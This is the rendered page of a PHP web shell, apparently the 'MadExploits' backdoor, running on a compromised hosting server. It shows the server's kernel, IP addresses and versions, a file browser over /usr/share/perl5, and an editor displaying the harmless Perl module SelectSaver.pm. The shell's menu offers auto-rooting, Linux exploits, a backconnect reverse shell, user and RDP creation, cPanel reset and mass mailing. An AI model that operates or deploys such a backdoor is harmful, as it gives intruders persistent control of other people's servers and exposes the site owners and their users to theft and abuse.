Linux ip-148-66-134-25.ip.secureserver.net 3.10.0-1160.119.1.el7.tuxcare.els10.x86_64 #1 SMP Fri Oct 11 21:40:41 UTC 2024 x86_64
Apache
: 148.66.134.25 | : 13.58.34.132
66 Domain
8.0.30
amvm
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
BLACK DEFEND!
README
+ Create Folder
+ Create File
/
usr /
share /
perl5 /
[ HOME SHELL ]
Name
Size
Permission
Action
App
[ DIR ]
drwxr-xr-x
Archive
[ DIR ]
drwxr-xr-x
Attribute
[ DIR ]
drwxr-xr-x
B
[ DIR ]
drwxr-xr-x
CPAN
[ DIR ]
drwxr-xr-x
Class
[ DIR ]
drwxr-xr-x
Compress
[ DIR ]
drwxr-xr-x
Config
[ DIR ]
drwxr-xr-x
DBM_Filter
[ DIR ]
drwxr-xr-x
Devel
[ DIR ]
drwxr-xr-x
Encode
[ DIR ]
drwxr-xr-x
ExtUtils
[ DIR ]
drwxr-xr-x
File
[ DIR ]
drwxr-xr-x
Filter
[ DIR ]
drwxr-xr-x
Getopt
[ DIR ]
drwxr-xr-x
HTTP
[ DIR ]
drwxr-xr-x
I18N
[ DIR ]
drwxr-xr-x
IO
[ DIR ]
drwxr-xr-x
IPC
[ DIR ]
drwxr-xr-x
JSON
[ DIR ]
drwxr-xr-x
LWP
[ DIR ]
drwxr-xr-x
Locale
[ DIR ]
drwxr-xr-x
Log
[ DIR ]
drwxr-xr-x
Math
[ DIR ]
drwxr-xr-x
Memoize
[ DIR ]
drwxr-xr-x
Module
[ DIR ]
drwxr-xr-x
Net
[ DIR ]
drwxr-xr-x
Object
[ DIR ]
drwxr-xr-x
Package
[ DIR ]
drwxr-xr-x
Perl
[ DIR ]
drwxr-xr-x
PerlIO
[ DIR ]
drwxr-xr-x
Pod
[ DIR ]
drwxr-xr-x
Search
[ DIR ]
drwxr-xr-x
Term
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Text
[ DIR ]
drwxr-xr-x
Thread
[ DIR ]
drwxr-xr-x
Tie
[ DIR ]
drwxr-xr-x
Time
[ DIR ]
drwxr-xr-x
URI
[ DIR ]
drwxr-xr-x
Unicode
[ DIR ]
drwxr-xr-x
User
[ DIR ]
drwxr-xr-x
Version
[ DIR ]
drwxr-xr-x
encoding
[ DIR ]
drwxr-xr-x
overload
[ DIR ]
drwxr-xr-x
pod
[ DIR ]
drwxr-xr-x
unicore
[ DIR ]
drwxr-xr-x
vendor_perl
[ DIR ]
drwxr-xr-x
warnings
[ DIR ]
drwxr-xr-x
AnyDBM_File.pm
2.56
KB
-rw-r--r--
AutoLoader.pm
14.66
KB
-rw-r--r--
AutoSplit.pm
19.18
KB
-rw-r--r--
Benchmark.pm
27.87
KB
-rw-r--r--
CORE.pod
2.7
KB
-rw-r--r--
CPAN.pm
132.91
KB
-rw-r--r--
DB.pm
18.43
KB
-rw-r--r--
DBM_Filter.pm
14.06
KB
-rw-r--r--
DirHandle.pm
1.52
KB
-rw-r--r--
Dumpvalue.pm
16.5
KB
-rw-r--r--
English.pm
4.34
KB
-rw-r--r--
FileCache.pm
5.44
KB
-rw-r--r--
FileHandle.pm
6.62
KB
-rw-r--r--
FindBin.pm
4.45
KB
-rw-r--r--
LWP.pm
21.15
KB
-rw-r--r--
Memoize.pm
34.4
KB
-rw-r--r--
NEXT.pm
18.05
KB
-rw-r--r--
PerlIO.pm
10.19
KB
-rw-r--r--
Safe.pm
24.03
KB
-rw-r--r--
SelectSaver.pm
1.05
KB
-rw-r--r--
SelfLoader.pm
16.97
KB
-rw-r--r--
Symbol.pm
4.68
KB
-rw-r--r--
Test.pm
28.13
KB
-rw-r--r--
Thread.pm
8.09
KB
-rw-r--r--
UNIVERSAL.pm
6.97
KB
-rw-r--r--
URI.pm
33.01
KB
-rw-r--r--
XSLoader.pm
9.99
KB
-rw-r--r--
_charnames.pm
29.8
KB
-rw-r--r--
autouse.pm
4.14
KB
-rw-r--r--
base.pm
6.37
KB
-rw-r--r--
bigint.pm
17.44
KB
-rw-r--r--
bignum.pm
18.23
KB
-rw-r--r--
bigrat.pm
14.11
KB
-rw-r--r--
blib.pm
2.04
KB
-rw-r--r--
bytes.pm
2.96
KB
-rw-r--r--
bytes_heavy.pl
758
B
-rw-r--r--
charnames.pm
19.22
KB
-rw-r--r--
deprecate.pm
3.01
KB
-rw-r--r--
diagnostics.pm
17.96
KB
-rw-r--r--
dumpvar.pl
14.96
KB
-rw-r--r--
feature.pm
11.06
KB
-rw-r--r--
fields.pm
9.28
KB
-rw-r--r--
filetest.pm
3.91
KB
-rw-r--r--
if.pm
1.13
KB
-rw-r--r--
integer.pm
3.19
KB
-rw-r--r--
less.pm
3.13
KB
-rw-r--r--
locale.pm
2.72
KB
-rw-r--r--
lwpcook.pod
9.05
KB
-rw-r--r--
lwptut.pod
24.89
KB
-rw-r--r--
open.pm
7.83
KB
-rw-r--r--
overload.pm
52.66
KB
-rw-r--r--
overloading.pm
1.77
KB
-rw-r--r--
perl5db.pl
302.79
KB
-rw-r--r--
perlfaq.pm
94
B
-rw-r--r--
sigtrap.pm
7.46
KB
-rw-r--r--
sort.pm
5.95
KB
-rw-r--r--
strict.pm
3.84
KB
-rw-r--r--
subs.pm
845
B
-rw-r--r--
utf8.pm
7.6
KB
-rw-r--r--
utf8_heavy.pl
30.1
KB
-rw-r--r--
vars.pm
2.3
KB
-rw-r--r--
vmsish.pm
4.22
KB
-rw-r--r--
warnings.pm
18.34
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : SelectSaver.pm
package SelectSaver; our $VERSION = '1.02'; =head1 NAME SelectSaver - save and restore selected file handle =head1 SYNOPSIS use SelectSaver; { my $saver = SelectSaver->new(FILEHANDLE); # FILEHANDLE is selected } # previous handle is selected { my $saver = SelectSaver->new; # new handle may be selected, or not } # previous handle is selected =head1 DESCRIPTION A C<SelectSaver> object contains a reference to the file handle that was selected when it was created. If its C<new> method gets an extra parameter, then that parameter is selected; otherwise, the selected file handle remains unchanged. When a C<SelectSaver> is destroyed, it re-selects the file handle that was selected when it was created. =cut require 5.000; use Carp; use Symbol; sub new { @_ >= 1 && @_ <= 2 or croak 'usage: SelectSaver->new( [FILEHANDLE] )'; my $fh = select; my $self = bless \$fh, $_[0]; select qualify($_[1], caller) if @_ > 1; $self; } sub DESTROY { my $self = $_[0]; select $$self; } 1;
Close